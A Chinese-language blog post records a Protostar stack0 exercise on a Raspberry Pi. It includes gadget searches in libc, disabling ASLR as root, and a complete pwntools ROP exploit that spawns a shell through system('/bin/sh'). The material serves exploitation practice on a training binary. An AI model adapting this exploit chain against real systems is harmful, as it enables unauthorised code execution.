BruceFan's Blog

Stay hungry, stay foolish

0%

树莓派上练习ARM PWN

练习的题目是Exploit Exercises Protostar上的堆栈题目,在树莓派上编译进行练习。
socat把可执行文件绑定到6666端口。

1
$ socat tcp-listen:6666,fork exec:./stack0

ARM架构上,peda支持不够好,所以我在树莓派上装的gef
由于这不是一个可执行堆栈,我们需要用ROP来获取shell,可执行文件本身很小,没有多少可用gadgets,需要利用其libc文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gef> vmmap
Start End Offset Perm Path
0x00008000 0x00009000 0x00000000 r-x /home/pi/Computer/exploit/stack0
0x00010000 0x00011000 0x00000000 rw- /home/pi/Computer/exploit/stack0
0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so
0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so
0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so
0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so
0x76fa4000 0x76fa7000 0x00000000 rw-
0x76fba000 0x76fbf000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so
0x76ff7000 0x76ffb000 0x00000000 rw-
0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]
0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]
0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]
0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so
0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so
0x7efdf000 0x7f000000 0x00000000 rwx [stack]

将libc文件拷贝到当前目录,以便查找gadget。在ARM架构下,参数通过寄存器传递给函数。例如r0会将保留的第一个参数传递给一个给定的函数调用。在我们的这个例子中就是system()函数。

1
2
3
4
5
6
7
8
9
10
$ cp /lib/arm-linux-gnueabihf/libc-2.19.so .
$ ROPgadget --binary libc-2.19.so --only "pop"
Gadgets information
============================================================
0x0007a12c : pop {r0, r4, pc}
...
$ ROPgadget --binary libc-2.19.so --only "pop|add|bx"
Gadgets information
============================================================
0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr

找这两条gadget的作用看到exploit就明白了。再从libc中找到'/bin/sh'字符串的偏移。

1
2
3
4
5
6
$ python
fd = open('libc-2.19.so')
content = fd.read()
offset = content.find('/bin/sh')
hex(offset)
0x11db20

关闭树莓派上的地址随机化,这样gadget偏移地址加上libc基址就是实际地址:

1
2
3
4
5
6
7
$ sudo cat /proc/sys/kernel/randomize_va_space
2 # 表示已经打开ASLR
$ sudo echo 0 > /proc/sys/kernel/randomize_va_space
bash: /proc/sys/kernel/randomize_va_space: Permission denied
$ su
Password:
su: Authentication failure

因为root没有解锁,解锁root并关闭ASLR:

1
2
3
4
5
6
7
8
9
$ sudo passwd
Enter new UNIX password: # root
Retype new UNIX password: # root
passwd: password updated successfully
$ su
Password: # root
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0

exploit脚本我是在Ubuntu上写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
#coding:utf-8
from pwn import *

HOST = "192.168.1.104"
PORT = 6666
r = remote(HOST, PORT)

payload = 'A' * 72
payload += p32(0x76ee012c) # pop {r0, r4, pc}
payload += p32(0x76f83b20) # /bin/sh
payload += 'BBBB'
payload += p32(0x76ec2bc8) # pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr
payload += 'CCCC'
payload += 'DDDD'
payload += 'EEEE'
payload += 'FFFF'
payload += p32(0x76e9ffac) # system@libc
print 'press enter to send payload'
raw_input()
r.sendline(payload)
r.interactive()

reference
http://www.freebuf.com/articles/system/103435.html